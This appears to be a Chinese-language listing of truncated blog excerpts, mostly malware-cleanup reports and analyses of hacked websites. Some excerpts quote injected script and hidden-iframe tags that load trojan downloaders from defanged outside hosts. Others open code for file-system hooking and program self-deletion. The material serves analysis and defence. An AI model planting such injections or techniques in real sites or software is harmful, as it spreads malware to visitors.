其他

1.4.4005(16384 位元組， MD5：62ef253a5e9c88d9d0299762b0d10336)1.修正了按映像名稱排序顯示不正確的bug2.在Windows XP中可以顯示被瑞星殺毒軟體保護的QQ等進程對應的完整檔案說明符ProcView 是用MASM32編寫的免費系統進程監控程式，可顯示WIN

用MASM32寫的 系統托盤表徵圖管理員 TrayIconMan 0.0.0001　　主要功能是列舉系統托盤區中的表徵圖，提示文本，及它們對應的程式，並控制它們的顯示和隱藏狀態。　　此程式可以在 Win 2000 和 Win XP 上運行，Vista 沒有測試。　　在編程過程中發現不管是在 Win 2000中，還是在Win XP中，均無法擷取瑞星反病毒軟體放在系統托盤的即時監控表徵圖……在 TrayIconMan

25jurdcyw4.sys,promote.dll/Adware.Win32.Agent.nrc,mnbgezuvepffc.dll/AdWare.Win32.EJok.x等endurer 原創2008-01-06 第1版　　有位網友發email來說他的電腦最近開機時出現出錯提示框，說C:/WINDOWS/system32/****.dll 無法載入，****這個是數位，記不清了。經朋友介紹，在偶的blog上發現了類似問題的解決方案的文章繞過IceSword檔案檢測的Trojan.Win32.

用MASM32寫GUI版的netstat--NetViewG.exe v0.0.0001 beta11：http://download.csdn.net/source/3619702：http://purpleendurer.ys168.com/ 的tools目錄下先前發了一個CUI的版本,見:用 MASM32 寫的 4.5KB 的

收到一封附件帶Trojan-PSW.Win32.Magania.ibs/Packer.Win32.Mian007.a的郵件endurer 原創2008-03-30 第1版郵件主題：小小寵物大集合...那支秋田好口愛ㄛ郵件內文：希望大家看了都有好心情郵件附件:胐棟.cmd檔案說明符 : D:/test/胐棟.cmd屬性 : A---擷取檔案版本資訊大小失敗!建立時間 : 2008-3-30 8:34:15修改時間 : 2008-3-30 8:34:55訪問時間 : 2008-3-30 8:42:4

感染explorer.exe,使用映像劫持,ShellExecHook…的AV殺手GRHSGIH.EXE3endurer 原創2008-01-22 第1版 部分惡意程式檔案資訊，瑞星的反應比Kaspersky要出色……檔案說明符 : C:/WINDOWS/LotusHlp.exe屬性 : A---擷取檔案版本資訊大小失敗!建立時間 : 1999-1-18 11:59:12修改時間 : 1999-1-18 11:59:10訪問時間 : 1999-1-18 12:29:37大小 : 17684

dwshd.sys,EASYDOWNS.sys,HBKernel32.sys,QQPlatform.exe,RDPWD.sys,easy2.exe等endurer 原創2008-11-25 第1版一位朋友的電腦今天出現了奇怪的問題，登入後不久案頭表徵圖和工作列消失，有時會出現藍屏錯誤：stop c0000218 unknown hard

某縣農業網掛馬Trojan-Downloader.Win32.ACVE.az等endurer 原創2008-10-29 第1版該網首頁包含代碼：/---＜script c src=hxp://ads***.2*0*-1**0.cn/ad/ad.gif?id=o＞＜/script＞---/#1 hxxp://ads***.2*0*-1**0.cn/ad/ad.gif?id=o 包含代碼：/---document.writeln("＜iframe

某笑話網站掛馬Trojan-Downloader.Win32.Agent.rubendurer 原創2008-06-05 第1版該網網頁包含代碼：/---＜iframe width="0" height="0" src="hxxp://ad**.hav**e*ip.com/da.htm"＞＜/iframe＞---/hxxp://ad**.hav**e*ip.com/da.htm 輸出代碼：/---＜span style='width:0;height:0;visibility:hidden'＞＜

 Rootkit.Win32.KernelBot,RootKit.Win32.Mnless,Trojan.Win32.Patched,Backdoor.Win32.RWX等2endurer 原創2008-07-16 第1版（續1）log中的一些項目與 sichost.exe,winxphelp.exe,360up.exe,RavNT.exe,Counter.exe,login.jpg.exe等一文中的相似。而且C:/WINDOWS/System32/lsass.exe

 遇到讓檔案夾變檔案的 Trojan.Win32.ECode.ee / Trojan-Dropper.Win32.Flystud.ko endurer 原創2009-04-29 第1版 最近一位朋友的電腦反應很慢，而且出現了奇怪的現象：隨身碟中原有來檔案夾全變成了檔案。請偶幫忙看看。 下載 pe_xscan 掃描 log 並分析，發現如下可疑項（進程模組略）：pe_xscan 09-04-28 by Purple Endurer2009-4-29 13:7:47Windows XP

auto.exe/Backdoor.Win32.Agent.bgu,b8u6bvx912.sys/Trojan-Downloader.Win32.Hmir.don等2endurer 原創 2008-06-30 第1版到 http://purpleendurer.ys168.com 下載 FileInfo 和 bat_do。用FileInfo 提取 pe_xscan 的 log 中紅色標記的檔案的資訊；用 bat_do 打包備份，延時刪除，改所選檔案名稱，再延時刪除。下載並安裝 瑞星卡卡安全助手，

system.dll,Nskhelper2.sys,oapejg.sys,991b0345.dat,NsPass0.sys等1 endurer 原創2008-12-03 第1版 一位朋友的電腦中的殺毒軟體無法啟動；QQ醫生保護不停地提示有程式要修改系統配置；開啟“我的電腦”，總是在搜尋，磁碟表徵圖顯示不出來。請偶幫忙檢修。 使用 pe_xscan 掃描 log 並分析，發現如下可疑項（進程模組部分有省略）： pe_xscan 08-08-01 by Purple Endurer 2008-12-

遭遇 unixsys08.sys/Trojan-PSW.Win32.QQPass.cdw,Trojan-PSW.Win32.OnLineGames等1endurer 原創2008-07-01 第1版一位網友說他的電腦在正常模式下無法操作，於是強制重啟電腦到帶網路連接的安全模式，通過!!請偶幫忙檢修。下載 pe_xscan 掃描 log 並分析，發現如下可疑項：/===pe_xscan 08-04-26 by Purple Endurer 2008-6-30 18:20:21 Windows

system.dll,Nskhelper2.sys,oapejg.sys,991b0345.dat,NsPass0.sys等2endurer 原創2008-12-03 第1版先把 Application Management，Task Scheduler 和 System Restore Service 禁用了。 下載並安裝卡卡安全助手，但是無法啟動使用。 下載並安裝超級巡警，剛查殺出task.exe，就出錯退出，無法再啟動。 到http://purpleendurer.ys168.com

文章作者：LionD8文章出處：虎盟網路安全小組（rohu.com） /*下面的程式是我的上學期資料結構的課程設計希望對即將學習資料結構的朋友有一點點協助因為馬上就要離開網路2個月了，算是一點點臨別的禮物liond8  2004-3-20*/# include "stdio.h"# include "stdlib.h"# include "string.h"# include "time.h"# include "windows.h"# include "winbase.h"# define  

某縣農業網被掛馬 Trojan.Win32.KillAV.bca/Trojan-Downloader.Win32.Geral.ix endurer 原創2009-05-05 第1版 開啟某縣農業網，Maxthon提示要安裝ActiveX控制項。 檢查網頁代碼，發現：/---＜script src=hxxp://***.w**vg0**.cn＞＜/script＞---/#1 hxxp://***.w**vg0**.cn 

作者:pker/*++Module Name:    FSHook.cAbstract:    I  wanted  to  build a filter driver when I first  thought about doing such    kind of things.  But then I found that it's not realistic 'cause it have to    hook every filesystem driver to prevent

 對Gary Nebbet的經典自我刪除代碼的讀後心得LionD8 隨筆 2004-3-14 QQ:10415468以下是Gary Nebbet的經典源碼#include "windows.h"void main(int argc, char *argv[]) { HMODULE module = GetModuleHandle(0); CHAR buf[MAX_PATH]; GetModuleFileName(module, buf, sizeof(buf));

　　享受開源軟體的人往往忘記了這些代碼的開發人員大多是利用私人時間無償地工作。　　對於一些開源項目來說，這不是一個問題，但其它一些項目會從捐贈中受益巨大。因此，我認為有必要把應受資助的10個項目列出來。這些項目在受眾和影響範圍上存在差別，並且其中一些項目的需要比另一些要多，但每一個項目都會從捐贈中受益。 　　1.